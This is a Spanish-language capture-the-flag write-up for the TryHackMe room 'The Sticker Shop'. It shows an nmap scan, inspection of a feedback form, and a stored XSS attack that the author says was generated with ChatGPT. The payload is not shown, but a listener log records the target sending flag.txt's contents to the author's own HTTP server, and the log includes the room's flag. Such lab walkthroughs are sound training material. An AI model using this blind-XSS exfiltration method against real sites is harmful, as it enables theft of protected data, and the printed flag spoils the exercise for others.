nmap -A -F -oN nmap.txt 10.10.241.129

```
┌──(root㉿PeNTeSTiNG)-[/home/deadgirl/Documents/THM - rooms/9. The Sticker Shop
└─# nmap -A -F -oN nmap.txt 10.10.241.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-28 19:32 -03
Nmap scan report for 10.10.241.129
Host is up (0.22s latency).
Not shown: 98 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protoc
ol 2.0)
| ssh-hostkey:
|   3072 b2:54:8c:e2:d7:67:ab:8f:90:b3:6f:52:c2:73:37:69 (RSA)
|   256 14:29:ec:36:95:e5:64:49:39:3f:b4:ec:ca:5f:ee:78 (ECDSA)
|_  256 19:eb:1f:c9:67:92:01:61:0c:14:fe:71:4b:0d:50:40 (ED25519)
8080/tcp open  http-proxy Werkzeug/3.0.1 Python/3.8.10
|_http-title: Cat Sticker Shop
|_http-server-header: Werkzeug/3.0.1 Python/3.8.10
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.1 Python/3.8.10
|     Date: Sat, 28 Dec 2024 22:32:08 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 1655
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>Cat Sticker Shop</title>
|     <style>
|     body {
|     font-family: Arial, sans-serif;
|     margin: 0;
|     padding: 0;
|     header {
|     background-color: #333;
|     color: #fff;
|     text-align: center;
|     padding: 10px;
|     header ul {
|     list-style: none;
|     padding: 0;
|     header li {
|     display: inline;
|     margin-right: 20px;
|     header a {
|     text-decoration: none;
|     color: #fff;
|     font-weight: bold;
|     .content {
|     padding: 20px;
|_    .product {
1 service unrecognized despite returning data. If you know the service/version,
 please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi
?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=12/28%Time=67707C69%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,726,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.1
SF:\x20Python/3\.8\.10\r\nDate:\x20Sat,\x2028\x20Dec\x202024\x2022:32:08\x
SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x201655\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<h
SF:ead>\n\x20\x20\x20\x20<title>Cat\x20Sticker\x20Shop</title>\n\x20\x20\x
SF:20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20Arial,\x20sans-serif
SF:;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\n\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x200;\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20header\x20{\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20#333;
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#fff;\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-align:\x20center;\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x2010px;\n\x20\x2
SF:0\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20header\x20u
SF:l\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20list-style:\x20
SF:none;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x200;\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20head
SF:er\x20li\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20display:
SF:\x20inline;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin-rig
SF:ht:\x2020px;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20header\x20a\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20text-decoration:\x20none;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20font-weight:\x20bold;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20\.content\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20padding:\x2020px;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20\.product\x20{\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20bo");
No exact OS matches for host (If you know what OS is running on it, see https:/
/nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=12/28%OT=22%CT=7%CU=41085%PV=Y%DS=2%DC=T%G=Y%TM=677
OS:07CDF%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A
OS:)SEQ(SP=107%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=107%GCD=4%ISR=10B%T
OS:I=Z%CI=Z%II=I%TS=A)OPS(O1=M509ST11NW7%O2=M509ST11NW7%O3=M509NNT11NW7%O4=
OS:M509ST11NW7%O5=M509ST11NW7%O6=M509ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4
OS:B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M509NNSNW7%CC=Y%Q=)T1(R=Y%
OS:DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A
OS:=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=
OS:G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   218.33 ms 10.21.0.1
2   218.56 ms 10.10.241.129

OS and Service detection performed. Please report any incorrect results at http
s://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 125.98 seconds
```

NOTA: Se observan 2 puertos abiertos, el puerto 22 SSH y el puerto 8080 que ejecuta Python y un servidor como se logra observar con el nombre de la pagina “Cat Sticker Shop”. El encabezado del servidor que indica como enumera el servidor para que funcione junto a Python. Y se observa mas informacion de la pagina. Tambien se observa el codigo fuente de la pagina y los metodos que admite la pagina, como son las opciones de head, get y otras cosas adicionales.

Browser: http://10.10.241.129:8080/

Browser: view-source:http://10.10.241.129:8080/

Browser: cat_sticker_1.png

Browser: cat_sticker_2.png

Browser: http://10.10.241.129:8080/submit_feedback

En el cuadro escribir "Hello" y precionar el boton Submit, mostrara el siguiente mensaje "Thanks for your feedback! It will be evaluated shortly by our staff"

Browser: 10.10.241.129:8080/flag.txt

Mostrarar el codigo “401 Unauthorized”

NOTA: Luego de enviar cualquier mensaje, este dice que sera evaluado en breve por el ST, lo que significa que el comentario ingresado sera visto por este material y. según la sala, la tarea es leer el ***flag.txt***, archivo que se almacena actualmente aquí ***10.10.241.129:8080/flag.txt*** pero que no tenemos autorizacion.

A continuacion, intentare realizar una inyeccion HTML o un XSS utilizando ChatGPT. Aquí realice algo muy simple como una carga util con Python3.

python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.241.129 - - [28/Dec/2024 20:04:30] code 404, message File not found
10.10.241.129 - - [28/Dec/2024 20:04:30] "GET /receive?flag=THM%7B83789a69074f636f64a38879cfcabe8b62305ee6%7D HTTP/1.1" 404 –

https://gchq.github.io/CyberChef/

Search… URL -> URL Decode